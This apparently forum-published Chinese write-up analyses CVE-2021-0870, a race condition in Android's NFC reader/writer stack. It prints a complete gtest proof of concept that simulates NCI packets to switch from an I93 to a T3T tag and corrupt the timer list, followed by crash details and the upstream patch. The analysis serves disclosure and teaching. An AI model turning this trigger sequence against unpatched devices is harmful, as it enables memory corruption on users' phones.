NFC在人们的日常生活中扮演了重要角色,已经成为移动设备不可或缺的组件,NFC和蓝牙类似,都是利用无线射频技术来实现设备之间的通信.因此芯片固件和主机NFC子系统都是远程代码执行(RCE)攻击的目标。
CVE-2021-0870是一枚NFC中的RCE高危漏洞,2021年10月漏洞通告中显示已被修复https://source.android.com/security/bulletin/2021-10-01 漏洞成因是RW_SetActivatedTagType
可以通过将NFC的TCB(tag control block)置零的方式实现在不同tag之间切换,原因是TCB所在的内存区域是固定不变的,被不同tag复用.当TCB被置零后即表示上一状态已被禁用.但是新tag激活后,上一个状态的超时检测定时器仍然在工作,并且仍然引用TCB里的数据和指针,然而此时TCB已经被置零.随后新状态启动自己的定时器重写TCB中相应偏移的数据时,会产生条件竞争
NFC技术框架
NFC的三种运行模式
Reader/Write模式:简称R/W 和NFC Tag/NFC reader有关
Peer-to-Peer模式:简称P2P 它支持两个NFC设备进行交互
NFC Card Emulation(CE) : 他能把NFC功能的设备模拟成智能卡,这样就可以实现手机支付/门禁卡功能
漏洞存在于Reader/Write模式(R/W)
Reader/Write模式
NFC Tag/NFC reader是NFC系统RFID中的两个重要的组件.其中Tag是一种用于存储数据的被动式RFID tag.它自身不包含电源,而是依赖其他组件,如NFC reader通过线圈里的电磁感应给他供电,然后通过某些射频通信协议来存取NFC tag里的数据.
NFC Forum 定义了两个数据结构用于设备间的通信(不仅仅是设备之间,也包括R/W模式种的NFC Reader和NFC Tag之间交互数据) ,分别是NDEF和NFC Record
R/W模式下使用NDEF数据结构通信时,NFC设备的每一次数据交互都会被封装在一个NDEF Message中,一个Message包括多个NFC RecordMessage 的数据结构如下,他是多个record组合而成
单个record的结构如下
本文不对详细的数据结构的各个字段做出解释
漏洞存在于使用NDEF数据包通信的过程中
Tag
NFC Forum 定义了4种tag,分别为Type1,2,3,4 . 他们之前的区别在于占用存储空间的大小和使用底层协议不同.但能被NFC Reader和NFC Tag 读写的tag类型远多于4种,Android Java层提供了"android.nfc.tech"包用来处理不同类型的tag,下表列出了该包里的几个类,这些类分别处理不同类型的tag. 例如,NDEF 是用来处理Type1-4的类,
IsoDep |
Provides access to ISO-DEP (ISO 14443-4) properties and I/O operations on a Tag . |
MifareClassic |
Provides access to MIFARE Classic properties and I/O operations on a Tag . |
MifareUltralight |
Provides access to MIFARE Ultralight properties and I/O operations on a Tag . |
Ndef |
Provides access to NDEF content and operations on a Tag . |
NdefFormatable |
Provide access to NDEF format operations on a Tag . |
NfcA |
Provides access to NFC-A (ISO 14443-3A) properties and I/O operations on a Tag . |
NfcB |
Provides access to NFC-B (ISO 14443-3B) properties and I/O operations on a Tag . |
NfcBarcode |
Provides access to tags containing just a barcode. |
NfcF |
Provides access to NFC-F (JIS 6319-4) properties and I/O operations on a Tag . |
NfcV |
Provides access to NFC-V (ISO 15693) properties and I/O operations on a Tag . |
漏洞代码中出现的T1T,T2T...TT,I93,是R/W模式下,探测,读写NDEF数据包的具体实现方法,是一种技术标准.比如I93是基于 ISO 15693 的实现方法,T1T基于NFC-A , 也就是ISO 14443-3A
漏洞分析
poc代码
基于Google的测试框架gtest编写了一个集成测试文件,自动化测试框架从TEST调用poc代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | TEST(NfcIntegrationTest, test_mifare_state_bug) {
CallbackTracker tracker;
g_callback_tracker = &tracker;
NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
theInstance.Initialize();
NFA_Init(&entry_funcs);
NFA_Enable(nfa_dm_callback, nfa_conn_callback);
usleep( 5000 );
std::vector<uint8_t> reset_core = { 0x1 , 0x29 , 0x20 };
g_callback_tracker - >SimulatePacketArrival(
NCI_MT_NTF, 0 , NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
{
std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
reset_done_cv.wait(reset_done_lock);
}
NFA_EnableListening();
NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);
NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
NFA_StartRfDiscovery();
{
std::unique_lock<std::mutex> enable_lock(cv_mutex);
enable_cv.wait(enable_lock);
}
std::vector<uint8_t> init_core = { 0x0 , 0xa , 0x3 , 0xca , 0xff , 0xff , 0xff ,
0xff , 0x2 , 0xe0 , 0xe0 , 0xe0 , 0xe0 , 0xe0 };
g_callback_tracker - >SimulatePacketArrival(NCI_MT_RSP, 0 , NCI_GID_CORE,
NCI_MSG_CORE_INIT, init_core.data(),
init_core.size());
g_callback_tracker - >SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
HAL_NFC_STATUS_OK);
{
std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
nfa_enable_cv.wait(nfa_enable_lock);
}
std::vector<uint8_t> discover_rf = { 0x0 };
g_callback_tracker - >SimulatePacketArrival(
NCI_MT_RSP, 0 , NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
discover_rf.size());
{
std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
rf_discovery_started_cv.wait(rf_discovery_started_lock);
}
std::vector<uint8_t> activate_rf = { / * disc_id * / 0x0 ,
NFC_DISCOVERY_TYPE_POLL_V,
static_cast<uint8_t>(NFC_PROTOCOL_T5T)};
for ( int i = 0 ; i < 27 ; i + + ) {
activate_rf.push_back( 0x6 );
}
g_callback_tracker - >SimulatePacketArrival(
NCI_MT_NTF, 0 , NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
activate_rf.data(), activate_rf.size());
{
std::unique_lock<std::mutex> activated_lock(cv_mutex);
activated_cv.wait(activated_lock);
}
NFA_RwReadNDef();
{
std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
i93_detect_cv.wait(i93_detect_lock);
}
g_callback_tracker - >SimulatePacketArrival(
NCI_MT_NTF, 0 , NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1 };
g_callback_tracker - >SimulatePacketArrival(
NCI_MT_NTF, 0 , NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
deactivate_rf.data(), deactivate_rf.size());
{
std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
deactivated_cv.wait(deactivated_lock);
}
std::vector<uint8_t> activate_another_rf = {
/ * disc_id * / 0x0 , NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
for ( int i = 0 ; i < 70 ; i + + ) {
activate_another_rf.push_back( 0x2 );
}
g_callback_tracker - >SimulatePacketArrival(
NCI_MT_NTF, 0 , NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
activate_another_rf.data(), activate_another_rf.size());
{
std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
}
NFA_Disable(true);
{
std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
nfa_disable_cv.wait(nfa_disable_lock);
}
}
|
构造poc 思路大致是 先让系统处于i93模式 然后发读数据请求 发完以后马上让从i93切换到t3t 然后就崩溃
接下来把poc拆成几个部分逐一分析
part1
第一部分代码是
1 2 3 4 5 6 7 8 9 | CallbackTracker tracker;
g_callback_tracker = &tracker;
NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
theInstance.Initialize();
NFA_Init(&entry_funcs);
NFA_Enable(nfa_dm_callback, nfa_conn_callback);
usleep( 5000 );
|
NFA_Init(&entry_funcs)用于初始化NFA的控制块.控制块的作用类似Windows中的PEB结构体
NFC允许用户在应用层注册NFC芯片硬件抽象层(HAL)的回调函数,poc中定义了一个entry_funcs回调函数表,通过NFA_Init中的NFC_Init函数将entry_funcs回调函数表注册到HAL层.直到NFC被禁用前这个函数指针数组都不会被释放.entry_funcs如下:
1 2 3 4 5 6 7 8 | tHAL_NFC_ENTRY entry_funcs = {
. open = FakeOpen,
.close = FakeClose,
.core_initialized = FakeCoreInitialized,
.write = FakeWrite,
.prediscover = FakePrediscover,
.control_granted = FakeControlGranted,
};
|
和在内核模块中给设备设置回调函数相似,entry_funcs相当于file_operation结构体.
entry_funcs里用很多Fake开头的回调函数重载了默认函数,然后把他塞进CallbackTracker这个类,这样做的好处是
1.函数重载可以对系统默认的回调函数进行二次包装.实现Hook功能.比如后面会看到,加入了线程同步的功能
2.只通过一个自定义的类实现所有函数的调用.让代码结构更加整洁
接着调用NFA_Enable,他调用的几个关键函数是
NFA_Enable->nfa_sys_sendmsg -> GKI_send_msg -> GKI_send_event -> pthread_cond_signal
NFA(NFC For Android)是安卓系统中NFC的实现. NFA_Enable用来使能安卓NFC,调用它时NFCC必须已经上电,该函数启动了NFC关键的几个任务,打开了NCI的传输渠道,重置了NFC 控制器,初始化整个NFC系统,他是初始化最重要的函数,一般只在系统启动时调用一次,这里我们再次调用来生成一个独立于系统NFC的单独的NFC实验环境.
nfa_sys_sendmsg函数用来发送GKI (General Kernel Interface)消息,
GKI_send_event将event从一个task发送给另一个task. 任务之间使用event数据结构的数据包,经安卓的HwBinder进行消息传递.Hwbinder是谷歌专门为供应商设计的进程间通信框架,独立于安卓系统的binder存在,是从8.0以后引入的新机制.
NFA_Enable执行完后,除了测试框架调用Test的主线程外,进程中会多出两个线程,这两个线程就是两个task,可近似理解为一个是NFCC,另一个充当客户端,这两个线程之间互相发数据包交互.作为服务端的task维护了一个命令队列,里面存放要被执行的命令,通过nfc_ncif_check_cmd_queue去检查队列里有没有命令,如果有就去执行.nfc_task是这个事件处理消息的主循环.环解析命令事件并执行相应的回调函数.代码如下, 前一个if半部分负责处理初始化,后一个if是主循环
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | uint32_t nfc_task(__attribute__((unused)) uint32_t arg) {
...
/ * main loop * /
while (true) {
event = GKI_wait( 0xFFFF , 0 );
...
/ * Handle NFC_TASK_EVT_TRANSPORT_READY from NFC HAL * /
if (event & NFC_TASK_EVT_TRANSPORT_READY) {
...
nfc_set_state(NFC_STATE_CORE_INIT);
nci_snd_core_reset(NCI_RESET_TYPE_RESET_CFG);
}
if (event & NFC_MBOX_EVT_MASK) {
/ * Process all incoming NCI messages * /
while ((p_msg = (NFC_HDR * )GKI_read_mbox(NFC_MBOX_ID)) ! = nullptr) {
free_buf = true;
/ * Determine the input message type . * /
switch (p_msg - >event & NFC_EVT_MASK) {
case BT_EVT_TO_NFC_NCI:
free_buf = nfc_ncif_process_event(p_msg);
break ;
case BT_EVT_TO_START_TIMER:
/ * Start nfc_task 1 - sec resolution timer * /
GKI_start_timer(NFC_TIMER_ID, GKI_SECS_TO_TICKS( 1 ), true);
break ;
case BT_EVT_TO_START_QUICK_TIMER:
/ * Quick - timer is required for LLCP * /
GKI_start_timer(
NFC_QUICK_TIMER_ID,
((GKI_SECS_TO_TICKS( 1 ) / QUICK_TIMER_TICKS_PER_SEC)), true);
break ;
case BT_EVT_TO_NFC_MSGS:
nfc_main_handle_hal_evt((tNFC_HAL_EVT_MSG * )p_msg);
break ;
default:
DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(
"nfc_task: unhandle mbox message, event=%04x" , p_msg - >event);
break ;
}
if (free_buf) {
GKI_freebuf(p_msg);
}
}
}
...
}
|
part2
第二部分代码如下所示
1 2 3 4 5 6 7 8 9 | std::vector<uint8_t> reset_core = { 0x1 , 0x29 , 0x20 };
g_callback_tracker - >SimulatePacketArrival(
NCI_MT_NTF, 0 , NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
{
std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
reset_done_cv.wait(reset_done_lock);
}
|
SimulatePacketArrival是poc调用频率最高的函数,模拟了从task之间数据交互的过程 .
task之间使用NCI数据包通信,NCI数据包的格式简要概述为
头部,共3字节
1 2 3 4 5 6 | / * NCI Command and Notification Format :
* 3 byte message header:
* byte 0 : MT PBF GID
* byte 1 : OID
* byte 2 : Message Length * /
/ * MT: Message Type (byte 0 ) * /
|
头部后面跟实际数据,如下所示
SimulatePacketArrival如何构造数据包呢? 以它第一次被调用为例
1 | SimulatePacketArrival(NCI_MT_NTF, 0 , NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),reset_core.size())
|
对比他的函数原型
1 | void SimulatePacketArrival(uint8_t mt, uint8_t pbf, uint8_t gid,uint8_t opcode, uint8_t * data, size_t size)
|
可知mt->NCI_MT_NTF , pbf-> 0 , gid->NCI_GID_CORE , opcode->NCI_MSG_CORE_RESET , data->reset_core.data() , size->reset_core.size() , std::vector<uint8_t> reset_core -> {0x1, 0x29, 0x20};
先构造前三个Octect组成头部,然后在末尾插入数据
1 2 3 4 5 6 | std::vector<uint8_t> buffer ( 3 );
buffer [ 0 ] = (mt << NCI_MT_SHIFT) | (pbf << NCI_PBF_SHIFT) | gid; / / 第一个 8 位,
buffer [ 1 ] = (mt = = NCI_MT_DATA) ? 0 : opcode; / / 第二个 8 位
buffer [ 2 ] = static_cast<uint8_t>(size); / / 第三个 8 位
buffer .insert( buffer .end(), data, data + size); / / 尾部附加的实际数据是{ 0x1 , 0x29 , 0x20 }
data_callback_( buffer .size(), buffer .data());
|
接着调用datacallback函数发送数据给另一个task.
每一次SimulatePacketArrival调用后面都有一个代码块,例如
1 2 3 4 | {
std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
reset_done_cv.wait(reset_done_lock);
}
|
reset_done_cv是一个条件变量,条件变量是C++11引入的一种同步机制.调用reset_done_cv.wait时会将线程挂起,直到其他线程调用notify是才解除阻塞继续执行.合理运用条件变量可以实现不同线程之间的同步.
比如reset_done_cv解除阻塞的时机是在调用FakeWrite的时候,调用栈是
nfc_ncif_check_cmd_queue函数会调用HAL_WRITE(p_buf)函数发数据给HAL.虽然从调用栈看不出FakeWrite实际就是HAL_WRITE.但我们之前重载了 HAL_WRITE的函数指针所以HAL_WRITE实际就是FakeWrite
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | void FakeWrite(uint16_t data_len, uint8_t * p_data) {
uint8_t reset_pattern[ 5 ] = { 0x20 , 0x1 , 0x2 , 0x0 , 0x0 };
if (data_len = = 5 && !memcmp(reset_pattern, p_data, data_len)) {
reset_done_cv.notify_one();
}
uint8_t i93_detect_pattern[ 6 ] = { 0x0 , 0x0 , 0x3 , 0x26 , 0x1 , 0x0 };
if (data_len = = 6 && !memcmp(i93_detect_pattern, p_data, data_len)) {
i93_detect_cv.notify_one();
}
uint8_t t3t_get_system_codes_pattern[ 7 ] = { 0x21 , 0x8 , 0x4 , 0xff ,
0xff , 0x1 , 0xf };
if (data_len = = 7 &&
!memcmp(t3t_get_system_codes_pattern, p_data, data_len)) {
t3t_get_system_codes_cv.notify_one();
}
}
|
因为写入NFC需要被频繁调用,必须判断到来的数据包是否符合要求才能执行对应的操作,所以第一个if中判断
1 | if (data_len = = 5 && !memcmp(reset_pattern, p_data, data_len))
|
符合条件就会解除调用reset_done_cv.notify_one()阻塞.这里重载HAL函数指针的优势就显现出来了.FakeWrite 函数除了向HAL发送/写入数据之外,还增加了解除poc中各种条件变量阻塞的功能方便了在竞态漏洞利用中进行时序同步
part3
代码是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | NFA_EnableListening();
NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);
NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
NFA_StartRfDiscovery();
{
std::unique_lock<std::mutex> enable_lock(cv_mutex);
enable_cv.wait(enable_lock);
}
std::vector<uint8_t> init_core = { 0x0 , 0xa , 0x3 , 0xca , 0xff , 0xff , 0xff ,
0xff , 0x2 , 0xe0 , 0xe0 , 0xe0 , 0xe0 , 0xe0 };
g_callback_tracker - >SimulatePacketArrival(NCI_MT_RSP, 0 , NCI_GID_CORE,
NCI_MSG_CORE_INIT, init_core.data(),
init_core.size());
g_callback_tracker - >SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
HAL_NFC_STATUS_OK);
{
std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
nfa_enable_cv.wait(nfa_enable_lock);
}
std::vector<uint8_t> discover_rf = { 0x0 };
g_callback_tracker - >SimulatePacketArrival(
NCI_MT_RSP, 0 , NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
discover_rf.size());
{
std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
rf_discovery_started_cv.wait(rf_discovery_started_lock);
}
|
将NFC开启,并进入discovery模式
part4
代码是
1 2 3 4 5 | NFA_RwReadNDef();
{
std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
i93_detect_cv.wait(i93_detect_lock);
}
|
NFA_RwReadNDef()会读取I93 tag里的数据,此时定时器开始启动用于检测是否超时,
下面是I93收到读请求后定时器被启动的调用栈
part5
代码是
1 2 3 4 5 6 7 8 9 10 11 12 13 | g_callback_tracker - >SimulatePacketArrival(
NCI_MT_NTF, 0 , NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1 };
g_callback_tracker - >SimulatePacketArrival(
NCI_MT_NTF, 0 , NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
deactivate_rf.data(), deactivate_rf.size());
{
std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
deactivated_cv.wait(deactivated_lock);
}
|
这段代码关闭了NFC,目的是从i93顺利切换到T3T
part 6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | std::vector<uint8_t> activate_another_rf = {
/ * disc_id * / 0x0 , NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
for ( int i = 0 ; i < 70 ; i + + ) {
activate_another_rf.push_back( 0x2 );
}
g_callback_tracker - >SimulatePacketArrival(
NCI_MT_NTF, 0 , NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
activate_another_rf.data(), activate_another_rf.size());
{
std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
}
NFA_Disable(true);
{
std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
nfa_disable_cv.wait(nfa_disable_lock);
}
|
part5中从I93 tag中读取了数据,并且启动定时器,我们必须在定时器过期前立即调用RW_SetActivatedTagType
通知NFCC终止立即I93 Tag,并激活T3T Tag.
1 | g_callback_tracker - >SimulatePacketArrival(NCI_MT_NTF, 0 ,NCI_GID_RF_MANAGE,NCI_MSG_RF_INTF_ACTIVATED,activate_another_rf.data(),activate_another_rf.size());
|
就调用了RW_SetActivatedTagType
RW_SetActivatedTagType 代码为
1 2 3 4 | tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT * p_activate_params,tRW_CBACK * p_cback) {
...
memset(&rw_cb.tcb, 0 , sizeof(tRW_TCB));
...
|
原来从一个状态切换到另一个状态的方法是调用memset(&rw_cb.tcb, 0, sizeof(tRW_TCB))
将控制块全部置零清空,虽然看起来没错,但是把控制块清空并不等价于将上个状态的上下文被全部重置,他忽略了I93tag之前启动的定时器此时仍在工作,但新的tag也会启动自己的定时器,并改写TCB中相同偏移的数据
TCB是被复用的,我们使用memset而非free,说明状态切换后,这块内存仍然存放的是TCB,所以此时系统里会出现两个定时器改写同一地址的情景
以下是T3T tag下定时器向TCB中写入数据时代码:
1 | 2367 * p_b = rw_t3t_mrti_base[e] * b; / * (B + 1 ) * base (i.e T / t3t * 4 ^E) * /
|
汇编是
1 2 3 4 5 6 | 1 : x / 5i $pc
= > 0x5de2a3 <_Z13rw_t3t_selectPhhh + 787 >: mov % r12d, % eax
0x5de2a6 <_Z13rw_t3t_selectPhhh + 790 >: shr $ 0x6 , % al
0x5de2a9 <_Z13rw_t3t_selectPhhh + 793 >: movzbl % al, % eax
0x5de2ac <_Z13rw_t3t_selectPhhh + 796 >: lea 0x813de0 (, % rax, 4 ), % rdi
0x5de2b4 <_Z13rw_t3t_selectPhhh + 804 >: mov % rdi, % rax
|
调用栈是
崩溃现场
i93定时器仍存在于定时器链表中,t3t被激活后里面的数据被t3t定时器破坏.当t3t定时器也被插入链表头部时会产生段错误
崩溃现场:
对应的源代码是while那行
1 2 3 4 5 6 7 8 | / * Find the entry that the new one needs to be inserted in front of * /
p_temp = p_timer_listq - >p_first;
= >> while (p_tle - >ticks > p_temp - >ticks) {
/ * Update the tick value if looking at an unexpired entry * /
if (p_temp - >ticks > 0 ) p_tle - >ticks - = p_temp - >ticks;
p_temp = p_temp - >p_next;
}
|
下面这个调用栈并非poc的而是漏洞被发现时的,放在这仅供参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | |
漏洞缓解措施
只要在切换到下一个tag之前,将上一个tag的定时器关闭即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT * p_activate_params,
tRW_CBACK * p_cback) {
tNFC_STATUS status = NFC_STATUS_FAILED;
/ * check for null cback here / remove checks from rw_t?t * /
DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(
"RW_SetActivatedTagType protocol:%d, technology:%d, SAK:%d" ,
p_activate_params - >protocol, p_activate_params - >rf_tech_param.mode,
p_activate_params - >rf_tech_param.param.pa.sel_rsp);
if (p_cback = = nullptr) {
LOG(ERROR) << StringPrintf(
"RW_SetActivatedTagType called with NULL callback" );
return (NFC_STATUS_FAILED);
}
switch (rw_cb.tcb_type) {
case RW_CB_TYPE_T1T: {
nfc_stop_quick_timer(&rw_cb.tcb.t1t.timer);
break ;
}
case RW_CB_TYPE_T2T: {
nfc_stop_quick_timer(&rw_cb.tcb.t2t.t2_timer);
break ;
}
case RW_CB_TYPE_T3T: {
nfc_stop_quick_timer(&rw_cb.tcb.t3t.timer);
nfc_stop_quick_timer(&rw_cb.tcb.t3t.poll_timer);
break ;
}
case RW_CB_TYPE_T4T: {
nfc_stop_quick_timer(&rw_cb.tcb.t4t.timer);
break ;
}
case RW_CB_TYPE_T5T: {
nfc_stop_quick_timer(&rw_cb.tcb.i93.timer);
break ;
}
case RW_CB_TYPE_MIFARE: {
nfc_stop_quick_timer(&rw_cb.tcb.mfc.timer);
nfc_stop_quick_timer(&rw_cb.tcb.mfc.mfc_timer);
break ;
}
case RW_CB_TYPE_UNKNOWN: {
break ;
}
}
/ * Reset tag - specific area of control block * /
memset(&rw_cb.tcb, 0 , sizeof(tRW_TCB));
```
|
总结
安卓系统高危的漏洞近几年有多发于硬件设备的趋势.我们会持续关注该领域最新的漏洞利用,并呼吁各大厂商及时更新安全补丁.
悄悄说一句,现在是2021年12月31日,距离明年只剩下4个小时.祝大家新年快乐~~
[培训]《安卓高级研修班(网课)》月薪三万计划
最后于 2022-1-9 17:10
被r0Cat编辑
,原因: